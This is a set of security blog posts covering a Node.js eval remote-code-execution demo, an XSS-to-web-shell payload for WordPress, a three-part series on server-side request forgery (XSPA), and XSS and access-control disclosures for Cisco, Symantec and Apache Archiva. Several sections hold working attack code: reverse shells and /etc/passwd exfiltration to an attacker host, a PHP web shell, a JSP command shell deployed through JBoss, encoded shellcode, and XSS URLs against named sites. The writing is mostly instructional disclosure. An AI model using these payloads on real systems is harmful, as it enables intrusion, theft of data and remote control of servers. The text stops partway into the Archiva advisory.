Nodejs RCE and a simple reverse shell

While reading through the blog post on a RCE on demo.paypal.com by @artsploit, I started to wonder what would be the simplest nodejs app that I could use to demo a RCE. Looking at the hello world tutorials online, I came up with the following simple app that takes a user input via the URL as a GET parameter and passes it to eval, which is obviously a bad programming practice.

Obviously, the functionality of this app is questionable, but in the real world Node applications will use eval to leverage JavaScript’s eval but with sandboxing amongst other things.

var express = require('express');
var app = express();
app.get('/', function (req, res) {
res.send('Hello ' + eval(req.query.q));
console.log(req.query.q);
});
app.listen(8080, function () {
console.log('Example app listening on port 8080!');
});

To access the app, navigate to http://hostip:8080/?q='Test'.

The exploit can be triggered using the q parameter. Node provides the child_process module and the eval can be used to execute the exploit. A quick demo can consist of the following steps:

1. Run nc -lvp 80 on a server you control and whose port 80 is reachable from the server running the Node app.
2. Navigate to

http://hostip:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')

This will send the contents of /etc/passwd to the attacker’s nc instance. If the Node server has the traditional nc installed (instead of the openbsd alternative) you can even use -e /bin/bash to return a proper shell from the Node server.

etcpasswd

But as the case is with default installations the netcat that attacker’s love may not always be present on vulnerable machines. In such cases, the net module can be used to redirect the stdin, stdout and stderr streams to and from the attacker’s machine. The exploit code in such a case would be:

var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(80, "attackerip", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

To execute this, use the following steps:
1. Run nc -lvp 80 on a server you control and whose port 80 is reachable from the server running the Node app. Again, this would act as your shell listener/collector.
2. Navigate to

http://hostip:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

shell

You can then use /bin/bash -i or python -c 'import pty; pty.spawn("/bin/bash")' to get a proper TTY shell (See more techniques here.).

I created a docker image with Node and the app installed so that this is easier to test and play with. You can setup this PoC using the following steps:

1. Install docker on your host machine. This is the standard reference – https://docs.docker.com/engine/installation/ 
2. Once docker is setup, run the following command:
docker run -p 8080:8080 -d appsecco/node-simple-rce
3. Navigate to the Node app by going to: http://localhost:8080/?q=’Test’

Update: A simpler reverse shell is:

require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/192.168.56.2/80 0>%261"')

According to https://github.com/bahamas10/node-exec:

For backwards compatibility with child_process.exec, it is also possible to pass a string to exec. The string will automatically be converted to [‘/bin/sh’, ‘-c’, ‘{string}’], which will cause the string to be parsed on the shell.

Since /bin/sh has some trouble dealing with multiple file descriptors, we can simply ask /bin/sh to spawn a new /bin/bash and use the new /bin/bash to execute our standard reverse shellcode. Whew!

The code is available on Github if you want to test this locally.

Feel free to make any changes to the code and redistribute! Happy Hacking!

.

XSS to RCE – using WordPress as an example

Cross Site Scripting (XSS) is a type of client side vulnerability that arises when an application accepts user supplied input and makes it a part of the page without sanitizing it for malicious content. An attacker can supply JavaScript as input that eventually becomes a part of the page and executes in the browser of the user viewing the page. You can read more about the different types of XSS vulnerabilities at the OWASP wiki.
Most vulnerability assessments report XSS issues with the impact limited to stealing session cookies and hijacking accounts. In reality, a well executed XSS attack can cause a lot more harm than merely overtaking an account. Of course it depends on what other vulnerabilities are present in the application in the post login pages. Also, depending on the privileges of the user whose session was hijacked, added functionality may be available ready for abuse.

There have been several well documented cases of a XSS leading to larger more impactful attacks. Here are some examples:

  1. XSS worm by Samy: – https://samy.pl/popular/tech.html
  2. Apache network compromise starting with a XSS in Atlassian JIRA: – https://blogs.apache.org/infra/entry/apache_org_04_09_2010
  3. XSS to RCE in Node via process.open() – https://oreoshake.github.io/xss/rce/bugbounty/2015/09/08/xss-to-rce.html
In a standard XSS attack, a penetration tester would usually take the following steps:

  1. Find a XSS vulnerability
  2. Host a collecting server to capture session cookies that will be delivered by your XSS payload
  3. Send the URL with the XSS payload to a user via email (Reflected XSS) OR
    Store the XSS payload and wait for a user (or social engineer them to visit if you lack patience) to visit the vulnerable page.
  4. Replay the session cookies to the application and gain access to the victim’s account.
  5. Explore the application for data/other vulnerabilities.
In the event that an application has functionality that allows a user to upload executable code (php pages for example) or edit existing server side code, then you can choose to attack that functionality directly with a XSS payload. Akash Mahajan, my friend and partner at Appsecco, pointed out a tweet by @brutelogic which, in my opinion, is a fantastic JavaScript XSS payload to use the plugin-editor of WordPress to update an existing PHP page with shellcode. So I setup a local WP with a plugin that was vulnerable to XSS and used the following JS payload as mentioned in the tweet.
x=new XMLHttpRequest()
p='/wp-admin/plugin-editor.php?'
f='file=akismet/index.php'
x.open('GET',p+f,0)
x.send()
$='_wpnonce='+/ce" value="([^"]*?)"/.exec(x.responseText)[1]+'&newcontent=<?=`$_GET[brute]`;&action=update&'+f
x.open('POST',p+f,1)
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded')
x.send($)
Here’s what the payload does:

  1. Creates a new XMLHttpRequest() object x
  2. p and f hold the complete URL to load
  3. The file that will be updated is akismet/index.php
  4. x.open('GET',p+f,0) and x.send() are used to specify the type of request and to send the actual request respectively.
  5. The $ contains the POST data that will be sent.
  6. For every POST request in WordPress you need the _wpnonce token. The /ce" value="([^"]*?)"/.exec(x.responseText)[1] extracts the token from the previous response using a regular expression.
  7. The php shell code is <?=`$_GET[brute]
  8. A new POST request is created and sent to the server along with appropriate form submit headers.

If an admin navigates to /wp-admin/plugin-editor.php?file=akismet/index.php, this is what he will see:
akismet_index_php_page

To access the shell, navigate to /wp-content/plugins/akismet/index.php?brute=ls -a. You can now interact and execute operating system commands with the WordPress server using the brute parameter. To make the output more readable simply use the view-source option of the page.

Command execution via php shell

This attack will obviously not work if the plugin editor is disabled which can be done by placing define('DISALLOW_FILE_EDIT', true); in the wp-config.php file. You can read more WordPress hardening tips at: https://codex.wordpress.org/Hardening_WordPress (shouts to @anantshri).

Happy Hacking!

Cross Site Port Attacks – XSPA – Part 3

In the last 2 posts we saw what Cross Site Port Attacks (XSPA) are and what are the different attacks that are possible via XSPA. This post is in continuation with the previous posts and is the last in the series of three. In this post we will see other interesting attacks and also see how developers can prevent XSPA or limit the attack surface itself.

Read Cross Site Port Attacks – XSPA – Part 1
Read Cross Site Port Attacks – XSPA – Part 2

Attacks – Attacking Internal Vulnerable Web Applications

Most often than not, intranet applications lack even the most basic security allowing an attacker on the internal network to attack and access server resources including data and code. Being an intranet application, reaching it from the Internet requires VPN access to the internal network or specialized connectivity on the same lines. Using XSPA, however, an attacker can target vulnerable internal web applications via the Internet exposed web application.

A very common example I can think of and which I have seen during numerous pentests is the presence of a JBoss Server vulnerable to a bunch of issues. My most favorite of them being the absence of authentication, by default, on the JMX console which runs on port 8080 by default.

A well documented hack using the JMX console, allows an attacker to deploy a war file containing JSP code that would allow command execution on the server. If an attacker has direct access to the JMX console, then deploying the war file containing the following JSP code is relatively straightforward:


<% Process p = Runtime.getRuntime().exec("cmd /c " + request.getParameter("x"));
DataInputStream dis = new DataInputStream(p.getInputStream());
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
} %>

Using the MainDeployer under jboss.system:service in the JMX Bean View we can deploy a war file containing a JSP shell. The MainDeployer can be found at the following address:

http://example_server:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer

Using the MainDeployer, for example, a war file named cmd.war containing a shell named shell.jsp can be deployed to the server and accessed via http://example_server:8080/cmd/shell.jsp. Commands can then be executed via shell.jsp?x=[command]. To perform this via XSPA we need to obviously replace the example_server with the IP/hostname of the server running JBoss on the internal network.

A small problem here that becomes a roadblock in performing this attack via XSPA is that the file deploy works via a POST request and hence we cannot craft a URL (atleast we think so) that would deploy the war file to the server. This can easily be solved by converting the POST to a GET request for the JMX console. On a test installation, we can identify the variables that are being sent to the JBoss server when the Main Deployer’s deploy() function is called. Using your favorite proxy, or simply using the Firefox addon – Web Developer’s “Convert POST to GET” functionality, we can construct a URL that would allow deploying of the cmd.war file to the server. We then only need to host the cmd.war file on an Internet facing server so that we can specify the cmd.war file URL as arg0. The final URL would look something like (assuming JBoss server is running on the same web server):

http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war

Use this URL as input to the XSPA vulnerable web application and if the application displays received responses from the backend, you should see something on the lines of the following:

Then its a matter of requesting shell.jsp via the XSPA vulnerable web application. For example, the following input would return the directory listing on the JBoss server (assuming its Windows, for Linux, x=ls%20-al can be used)

http://127.0.0.1:8080/cmd/shell.jsp?x=dir

http://127.0.0.1:8080/cmd/shell.jsp?x=tasklist

We have successfully attacked an internal vulnerable web application from the Internet using XSPA. We can then use the shell to download a reverse connect program that would give higher flexibility over issuing commands. Similarily other internal applications vulnerable to threats like SQL Injection, parameter manipulation and other URL based attacks can be targeted from the Internet.

Attacks – Reading local files using file:/// protocol

All the attacks that we saw till now make use of the fact that the XSPA vulnerable web application creates an HTTP request to the requested resource. The protocol in all cases was specified by the attacker. On the other hand, if we specify the file protocol handler, we maybe able to read local files on the server. An input of the following form would cause the application to read files on disk:

Request: file:///C:/Windows/win.ini

The following screengrab shows the reading of the /etc/passwd file on an Adobe owned server via Adobe’s Omniture web application. The request was file:///etc/passwd. Adobe has now fixed this issue and credited me on the Adobe Hall of Fame for the same:

How do you fix this?

There are multiple ways of mitigating this vulnerability, the most ideal and common techniques of thwarting XSPA, however, are listed below:
1. Response Handling – Validating responses received from remote resources on the server side is the most basic mitigation that can be readily implemented. If a web application expects specific content type on the server, programmatically ensure that the data received satisfies checks imposed on the server before displaying or processing the data for the client.

2. Error handling and messages – Display generic error messages to the client in case something goes wrong. If content type validation fails, display generic errors to the client like “Invalid Data retrieved”. Also ensure that the message is the same when the request fails on the backend and if invalid data is received. This will prevent the application from being abused as distinct error messages will be absent for closed and open ports. Under no circumstance should the raw response received from the remote server be displayed to the client.

3. Restrict connectivity to HTTP based ports – This may not always be the brightest thing to do, but restricting the ports to which the web application can connect to only HTTP ports like 80, 443, 8080, 8090 etc. can lower the attack surface. Several popular web applications on the Internet just strip any port specifications in the input URL and connect to the port that is determined by the protocol handler (http – 80, https – 443).

4. Blacklist IP addresses – Internal IP addresses, localhost specifications and internal hostnames can all be blacklisted to prevent the web application from being abused to fetch data/attack these devices. Implementing this will protect servers from one time attack vectors. For example, even if the first fix (above) is implemented, the data is still being sent to the remote service. If an attack that does not need to see responses is executed (like a buffer overflow exploit) then this fix can actually prevent data from ever reaching the vulnerable device. Response handling is then not required at all as a request was never made.

5. Disable unwanted protocols – Allow only http and https to make requests to remote servers. Whitelisting these protocols will prevent the web application from making requests over other protocols like file:///, gopher://, ftp:// and other URI schemes.

Conclusion

Using web applications to make requests to remote resources, the local network and even localhost is a technique that has been known to pentesters for some time now. It has been termed as Server Side Request Forgeries, Cross Site Port Attacks and even Server Side Site Scanning, but the primary idea is to present it to the community and show that this vulnerability is extremely common. XSPA, in the case of this research, can be used to proxy attacks via vulnerable web applications to remote servers and local systems.

We have seen that XSPA can be used to port scan remote Internet facing servers, intranet devices and the local web server itself. Banner grabbing is also possible in some cases. XSPA can also be used to exploit vulnerable programs running on the Intranet or on the local web server. Fingerprinting intranet web applications using static default files & application behaviour is possible. It is also possible in several cases to attack internal/external web applications that are vulnerable to GET parameter based vulnerabilities (SQLi via URL, parameter manipulation etc.). Lastly, XSPA has been used to document local file read capabilities using the file:/// protocol handler in Adobe’s Omniture web application.

Mitigating XSPA takes a combination of blacklisting IP addresses, whitelisting connect ports and protocols and proper non descriptive error handling.

In the next several posts I will publish disclosures regarding XSPA in several websites on the Internet which triggered the research into this vulnerability in the first place.

Cross Site Port Attacks – XSPA – Part 2

This is the second post in the 3 part series that explains XSPA, the attacks and possible countermeasures.

Read Cross Site Port Attacks – XSPA – Part 1
Read Cross Site Port Attacks – XSPA – Part 3

Attacks

XSPA allows attackers to target the server infrastructure, mostly the intranet of the web server, the web server itself and any public Internet facing server as well. Currently, I have come across the following five different attacks that can be launched because of XSPA:
1. Port Scanning remote Internet facing servers, intranet devices and the local web server itself. Banner grabbing is also possible in some cases.
2. Exploiting vulnerable programs running on the Intranet or on the local web server
3. Fingerprinting intranet web applications using standard application default files & behavior
4. Attacking internal/external web applications that are vulnerable to GET parameter based vulnerabilities (SQLi via URL, parameter manipulation etc.)
5. Reading local web server files using the file:/// protocol handler.

Most web server architecture would allow the web server to access the Internet and services running on the intranet. The following visual depiction shows the various destinations to which requests can be made:

Let us now look at some of the attacks that are possible with XSPA. These are attacks that I have come across during my Bug Bounty research and XSPA is not limited to them. A determined, intuitive attacker can come up with other scenarios as well.

Attacks – Port Scanning using XSPA

Consider a web application that provides a common functionality that allows a user to input a link to an external image from a third party server. Most social networking sites have this functionality that allows users to update their profile image by either uploading an image or by providing a URL to an image hosted elsewhere on the Internet.

A user is expected (in an utopian world) to enter a valid URL pointing to an image on the Internet. URLs of the following forms would be considered valid:

  • http://example.com/dir/public/image.jpg
  • http://example.com/dir/images/
  • The second URL is valid, if the served Content-Type is an image (http://www.w3.org/Protocols/rfc1341/4_Content-Type.html). Based on the web application’s server side logic, the image is downloaded on the server, a URL is created and then the image is displayed to the user, using the new server URL. So even if you specify the image to be at
    http://example.com/dir/public/image.jpg
    the final image url would be at
    http://gravatar.com/user_images/username/image.jpg.

    If an image is not found at the user supplied URL, the web application will normally inform the user of such. However, if the remote server hosting the image itself isn’t found or the server exists and there is no HTTP service running then it gets tricky. Most web applications generate error messages that inform the user regarding the status of this request. An attacker can specify a non-standard yet valid URI according to the URI rfc3986 with a port specification. An example of these URIs would be the following:

  • http://example.com:8080/dir/images/
  • http://example.com:22/dir/public/image.jpg
  • http://example.com:3306/dir/images/
  • In all probability you would find a web application on port 8080 and not on 22 (SSH) or 3306 (MySQL). However, the backend logic of the webserver, in all observed cases, will connect to the user specified URL on the mentioned port using whatever APIs and framework it is built over as these are valid HTTP URLs. In case of most TCP services, banners are sent when a socket connection is created and since most banners (containing juicy information) are printable ascii, they can be displayed as raw HTML via the response handler. If there is some parsing of data on the server then non HTML data may not be displayed, in such cases, unique error messages, response byte size and response timing can be used to identify port status providing an avenue for port scanning remote servers using the vulnerable web application. An attacker can analyze the returned error messages and identify open and closed ports based on unique error responses. These responses may be raw socket errors (like “Connection refused” or timeouts) or may be customized by the application (like “Unexpected header found” or “Service was not reachable”). Instead of providing a URL to a remote server, URLs to localhost (http://127.0.0.1:22/image.jpg) can also be used to port scan the local server itself!

    The following implementation of cURL can be abused to port scan devices:

    <?php
    if (isset($_POST[‘url’]))
    {
    $link = $_POST[‘url’];
    $filename = ‘./curled/’.rand().’txt’;
    $curlobj = curl_init($link);
    $fp = fopen($filename,”w”);
    curl_setopt($curlobj, CURLOPT_FILE, $fp);
    curl_setopt($curlobj, CURLOPT_HEADER, 0);
    curl_exec($curlobj);
    curl_close($curlobj);
    fclose($fp);
    $fp = fopen($filename,”r”);
    $result = fread($fp, filesize($filename));
    fclose($fp);
    echo $result;
    }
    ?>

    The following is a screengrab of the above code retrieving robots.txt from http://www.twitter.com:

    Request: http://www.twitter.com/robots.txt

    For the same page, if a request is made to fetch data from a open port running a non HTTP service:

    Request: http://scanme.nmap.org:22/test.txt

    For a closed port, an application specific error is displayed:

    Request: http://scanme.nmap.org:25/test.txt

    The different responses received allow us to port scan devices using the vulnerable web application server as a proxy. This can easily be scripted to achieve automation and cleaner results. I will be (in later posts) showing how this attack was possible on Facebook, Google, Mozilla, Pinterest, Adobe and Yahoo!

    An attacker can also modify the request URLs to scan the internal network or the local server itself. For example:

    Request: http://127.0.0.1:3306/test.txt

    In most web applications on the Internet, barring a few, banner grabbing may not be possible, in which case application specific error messages, response byte size, server response times and changes in HTML source can be used as unique fingerprints to identify port status. The following screengrabs show port scanning via XSPA in Google’s Webmasters web application. Note the application specific error messages that can be used to script the vulnerability and automate scanning of Internet/Intranet devices. Google has now fixed this issue (and my name was listed in the prestigious Google Hall of Fame for security researchers):

    Attacks – Exploiting vulnerable network programs

    Most developers in the real world write code without incorporating a lot of security. Which is why, even after a decade of being documented, threats like buffer overflows and format string vulnerabilities are still found in applications. For applications built in-house to perform specific tasks, security is almost never in the list of priorities, hence attacking them gives easy access to the internal network. XSPA allows attackers to send data to user controlled addresses and ports which could have vulnerable services listening on them. These can be exploited using XSPA to execute code on the remote/local server and gain a reverse shell (or perform an attacker desired activity).

    If we look at the flow of an XSPA attack, we can see that we control the part after the port specification. In simpler terms, we control the resource that we are asking the web server to fetch from the remote/local server. The web server creates a GET (or POST, mostly GET) request on the backend and connects to the attacker specified service and issues the following HTTP request:

    GET /attacker_controlled_resource HTTP/1.1
    Host: hostname

    If you notice carefully, we do not need to be concerned about most of the structure of the backend request as we control the most important part of it, the resource specification. For example, in the following screengrab you can see that a program listening on port 8987 on the local server accepts input and prints “Hello GET /test.txt HTTP/1.1, The Server Time is: [server time]”. We can see that the “GET /test.txt HTTP/1.1” is sent by the web server to the program as part of its request creation process. If the program is vulnerable to a buffer overflow, as user input is being used to create the output, the attacker could pass an overly long string and crash the program.

    Request: http://127.0.0.1:8987/test.txt

    Request: http://127.0.0.1:8987/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    On testing the vulnerable copy on a local installation, we can see that EIP can be controlled and ESP has our data. Calculating the correct offset for EIP and building the exploit is beyond this blog post, however, the folks at Corelan have a brilliant series of tutorials on building exploits for vulnerable programs. One important point to be noted however is that HTTP being a text based protocol may not handle non-printable unicode characters (found in exploit code) properly. In such a situation, we can use msfencode (part of metasploit framework) to encode the exploit payload to alpha numeric using the following command:

    msfpayload windows/exec CMD=calc.exe R | msfencode BufferRegister=ESP -e x86/alpha_mixed

    The result? The following alphanumeric text (along with padding AAAAAAs, the static JMP ESP address and the shellcode) that can now be sent via the web application to the vulnerable program:

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@’ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhmYUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xnk2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOmKON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA

    Sucessful exploitation leads to calculator executing on the server. The shellcode can be replaced with other payloads as well (reverse shell perhaps?)

    Attacks – Fingerprinting Intranet Web Applications

    Identifying internal applications via XSPA would be one of the first steps an attacker would take to get into the network from outside. Fingerprinting the type and version, if its a publicly available framework, blogging platform, application module or simply a customized public CMS, is essential in identifying vulnerabilities that can then be exploited to gain access.

    Most publicly available web application frameworks have distinct files and directories whose presence would indicate the type and version of the application. Most web applications also give away version and other information through meta tags and comments inside the HTML source. Specific vulnerabilites can then be researched based on the results. For example, the following unique signatures help in identifying a phpMyAdmin, WordPress and a Drupal instance respectively:

    Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
    Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
    Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt

    The following request attempts to identify the presence of a DLink Router:

    Request: http://10.0.0.1/portName.js

    Once the web application has been identified, an attacker can then research vulnerabilities and exploit vulnerable applications. In the next post we shall see how intranet web applications can be attacked and how servers can be abused using other protocols as well. We will also take a look at fixes that are suggested for developers to thwart XSPA or limit the damage that can arise due to this vulnerability.

    Cross Site Port Attacks – XSPA – Part 1

    This is the first of a 3 part series of blog posts that explain Cross Site Port Attacks(XSPA) in greater detail. I disclosed this as a speaker at the recently concluded OWASP AppSecUSA2012, Austin and thought it was about time I blogged as well.

    Read Cross Site Port Attacks – XSPA – Part 2
    Read Cross Site Port Attacks – XSPA – Part 3

    Update: Please note that this is independent research conducted as part of my involvement with Bug Bounty programs with several companies and although related to Alexander Polyakov’s research on SSRF, the similarity in findings are merely a coincidence and are focused on showing how common XSPA/SSRF are in popular web applications.

    Overview

    Many web applications provide functionality to pull data from other webservers for various reasons. Using user specified URLs, web applications can be made to fetch images, download XML feeds from remote servers, text based files etc. This functionality can be abused by making crafted queries using the vulnerable web application as a proxy to attack other services running on remote/local servers. Attacks arising via this abuse of functionality are named as Cross Site Port Attacks (XSPA). 

    What is XSPA? 

    An application is vulnerable to Cross Site Port Attacks if the application processes user supplied URLs and does not verify/sanitize the backend response received from remote servers before sending it back to the client. An attacker can send crafted queries to a vulnerable web application to proxy attacks to external Internet facing servers, intranet devices and the web server itself using the advertised functionality of the vulnerable web application. The responses, in certain cases, can be studied to identify service availability (port status, banners etc.) and even fetch data from remote services in unconventional ways.

    The following screengrab shows gravatar.com providing this functionality:

    XSPA allows attackers to abuse available functionality in most web applications to port scan intranet and external Internet facing servers, fingerprint internal (non-Internet exposed) network aware services, perform banner grabbing, identify web application frameworks, exploit vulnerable programs, run code on reachable machines, exploit web application vulnerabilities listening on internal networks, read local files using the file protocol and much more. XSPA has been discovered with Facebook, where it was possible to port scan any Internet facing server using Facebook’s IP addresses. Consecutively, XSPA was also discovered in several other prominent web applications on the Internet, including Google, Apigee, StatMyWeb, Mozilla.org, Face.com, Pinterest, Yahoo, Adobe Omniture and several others. We will take a look at the vulnerabilities that were present in the above mentioned web applications that could be used to launch attacks and perform port scans on remote servers and intranet devices using predefined functionality.

    Examples of Implementation

    Let us look at some examples of PHP implementations of file fetching via user supplied URLs. XSPA affects web applications written in any language as long as they let users decide where the data would be fetched from. Please note the examples shown below are neither clean nor secure, however most of the parts of the code outlined below have been obtained from real world application sources.
    1.    PHP file_get_contents:
    <?php
    if (isset($_POST[‘url’]))
    {
    $content = file_get_contents($_POST[‘url’]);
    $filename = ‘./images/’.rand().’img1.jpg’;
    file_put_contents($filename, $content);
    echo $_POST[‘url’].””;
    $img = ““;
    }
    echo $img;
    ?>

    This implementation fetches data as requested by a user (an image in this case) using the file_get_contents PHP function and saves it to a file with a randomly generated filename on the disk. The HTML img attribute then displays the image to the user.

    2.    PHP fsockopen() function:
    <?php
    function GetFile($host,$port,$link)
    {
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
    if (!$fp) {
    echo “$errstr (error number $errno) \n”;
    } else {
    $out = “GET $link HTTP/1.1\r\n”;
    $out .= “Host: $host\r\n”;
    $out .= “Connection: Close\r\n\r\n”;
    $out .= “\r\n”;
    fwrite($fp, $out);
    $contents=”;
    while (!feof($fp)) {
    $contents.= fgets($fp, 1024);
    }
    fclose($fp);
    return $contents;
    }
    }
    ?>

    This implementation fetches data as requested by a user (any file or HTML) using the fsockopen PHP function. This function establishes a TCP connection to a socket on the server and performs a raw data transfer.

    3.    PHP curl_exec() function:
    <?php
    if (isset($_POST[‘url’]))
    {
    $link = $_POST[‘url’];
    $curlobj = curl_init();
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($curlobj);
    curl_close($curlobj);

    $filename = ‘./curled/’.rand().’.txt’;
    file_put_contents($filename, $result);
    echo $result;
    }
    ?>

    This is another very common implementation that fetches data using cURL via PHP. The file/data is downloaded and stored to disk under the ‘curled’ folder and appended with a random number and the ‘.txt’ file extension.

    In the next part of this series, we shall see some of the attacks that can be launched using this vulnerbility. XSPA allows attackers to target the server infrastructure, mostly the intranet of the web server, the web server itself and any public Internet facing server as well. Currently, I have come across the following five different attacks that can be launched using XSPA:

    1. Port Scanning remote Internet facing servers, intranet devices and the local web server itself. Banner grabbing is also possible in some cases.
    2. Exploiting vulnerable programs running on the Intranet or on the local web server
    3. Attacking internal/external web applications that are vulnerable to GET parameter based vulnerabilities (SQLi via URL, parameter manipulation etc.)
    4. Fingerprinting intranet web applications using standard application default files & behavior
    5. Reading local web server files using the file:/// protocol handler.

    We will see examples of each of these scenarios in several prominent web applications on the Internet as well.

    Multiple Vulnerabilities with the Cisco Developer Network

    I found a bunch of vulnerabilities with Cisco subdomains a couple of weeks ago, some of them were plain old XSS vulnerabilities,while others were more interesting. Cisco is yet to fix some of them which I will not be talking about here, however I will discuss the other issues that I found and which have now been fixed.

    I found an XSS on the developer.cisco.com domain, and since Cisco uses Single Sign On for most of its subdomains, an attacker could simply exploit this issue and gain access to the user accounts under other Cisco domains. The Cisco Developer Network runs on a well known product, which is actively maintained by the developers and used worldwide by several major corporations. 

    For the noobs, An XSS or Cross Site Scripting vulnerability occurs when an application accepts user input and sends it back to the browser without removing/encoding malicious characters. Malicious characters are any set of characters that a browser can use to render HTML or script content (,”,/> etc..). So, instead of displaying the user input, the browser will render/execute it depending on whether the input was HTML tagged content or script content.

    XSS can cause a lot of serious problems. An attacker can steal cookies, redirect users to fake or malicious sites, control a user’s browser using automated frameworks like BeEF and download and execute exploits on the victim’s computer.

    The other issue I found was particularly interesting because the application failed to check necessary user privilege levels while a user attempted access to application modules that were obviously sensitive. To this effect, I was able to locate the administration modules of several key sections under developer.cisco.com that would have allowed me to upload files, change and delete the content that users would see. I had access to all available administrative tasks since the application was clearly not checking whether I had admin or guest privileges. To make things worse, Google had traversed and cached these pages which would allow an attacker to reach to all the administration modules following an advanced Google search.


    Now that both the issues have been fixed, here’s a finer look at the vulnerabilities:

    1. XSS in the Cisco Developer Network (developer.cisco.com)
    The following pages accept client side input via the ‘_153_keywords’ parameter and render it back to the browser without sanitization.

    This was a POST based XSS, hence to craft an attack vector, an attacker would need to create a page that autosubmits a form on page/body. 
     





    2. Insufficient privilege/permission check on the Cisco Developer Network.
    The application did not verify the permission levels of logged in users when providing access to the administration modules of several sections listed on http://developer.cisco.com/web/cdc/tech under “Available Technology Centers”


    Some examples were: 

    • http://developer.cisco.com/web/cupapi/admin
    • http://developer.cisco.com/web/telesched/administration


    An advanced Google search, like the following, can get a list of modules that were  vulnerable:
    https://www.google.co.in/search?q=site:developer.cisco.com/web/%20inurl:admin%20|%20inurl:administration

    Waiting for Cisco to fix some other issues on several other domains before I disclose them here. Till then Happy Hacking!

    XSS vulnerabilities in Symantec websites

    A couple of weeks ago, while doing some research for a paper I have been working on, I found two XSS vulnerabilities with the Symantec Learning Management System (symlms.symantec.com) and Enterprise Support Login Page (seer.entsupport.symantec.com). An XSS or Cross Site Scripting vulnerability occurs when an application accepts user input and sends it back to the browser without removing/encoding malicious characters. Malicious characters are any set of characters that a browser can use to render HTML or script content (,”,/> etc..). So, instead of displaying the user input, the browser will render/execute it depending on whether the input was HTML tagged content or script content.

    XSS can cause a lot of serious problems. An attacker can steal cookies, redirect users to fake or malicious sites, control a user’s browser using automated frameworks like BeEF and download and execute exploits on the victim’s computer.


    On an average, it is easy to find XSS vulnerabilities on the Internet, but finding an XSS issue on a website that is owned and administered by a security services company is quite something. I reported both the vulnerabilities as soon as I discovered them and the security team at Symantec were quite appreciative and welcoming with my disclosures.


    Now that both the issues have been fixed, here’s a finer look at the vulnerabilities:


    1. XSS in the Symantec Learning Management System (symlms.symantec.com)
    The page at https://symlms.symantec.com/sumtotal/lang-en/SYS_login.asp accepts client side input via the ‘ru’ hidden parameter and renders it back to the browser without sanitization.

    An attack vector could be crafted on the lines of:

    • https://symlms.symantec.com/sumtotal/lang-en/SYS_login.asp?ru=a%27/%3E%3Ch1%20onmousemove=javascript:alert%28document.cookie%29%3ETEST%3C/h1%3E

    • https://symlms.symantec.com/sumtotal/lang-en/SYS_login.asp?ru=tester%27%3E%3Ciframe%20src=%22http://www.wikipedia.org%22%20width=600%20height=1000%3E%3C/iframe%3E

     






    2. XSS in the Enterprise Support Login Page (seer.entsupport.symantec.com)
    The page at http://seer.entsupport.symantec.com/downloads/export.asp accepts client side input via the ‘username’, ‘useremail’ and ‘userphone’ parameters and renders it back to the browser without sanitization.

    An attack vector could be crafted on the lines of:

    • http://seer.entsupport.symantec.com/downloads/export.asp?username=test%22%3E%3Cscript%3Ealert%280%29%3C/script%3E
    • http://seer.entsupport.symantec.com/downloads/export.asp?useremail=test%22%3E%3Cscript%3Ealert%280%29%3C/script%3E
    • http://seer.entsupport.symantec.com/downloads/export.asp?userphone=test%22%3E%3Cscript%3Ealert%280%29%3C/script%3E

     

    Input sanitization and output encoding user input can provide protection. There are several libraries that actually make it easier for developers to create web applications without worrying too much about threats like XSS. The OWASP ESAPI library is something that comes to my mind when I find XSS anywhere.

    A couple of more interesting disclosures lined up for June. Till then Happy Hacking!

    Apache Archiva Multiple XSS & CSRF Vulnerabilities

    I am honestly surprised at the frequency and places one would find threats like Cross Site Scripting and Cross Site Request Forgery. Although immensely easy to locate and exploit, it can get quite twisted to fix these issues in large applications. Here’s a rundown on another product that was found vulnerable. As part of the vulnerability research that I do with published web applications, I downloaded a copy of Apache’s Archiva 1.3.4 which was the latest published edition on the vendor’s website. Upon examination, there seemed to be several issues with the application that I reported responsibly to the vendor and co-operated in responsible disclosure. Since the cat is now out of the bag, here’s the condensed disclosure document with the exploit code intact.

    Title: Multiple XSS & CSRF Vulnerabilities in Apache Archiva 1.3.4
    ——————————————————————–

    Project: Apache Archiva
    Severity: High
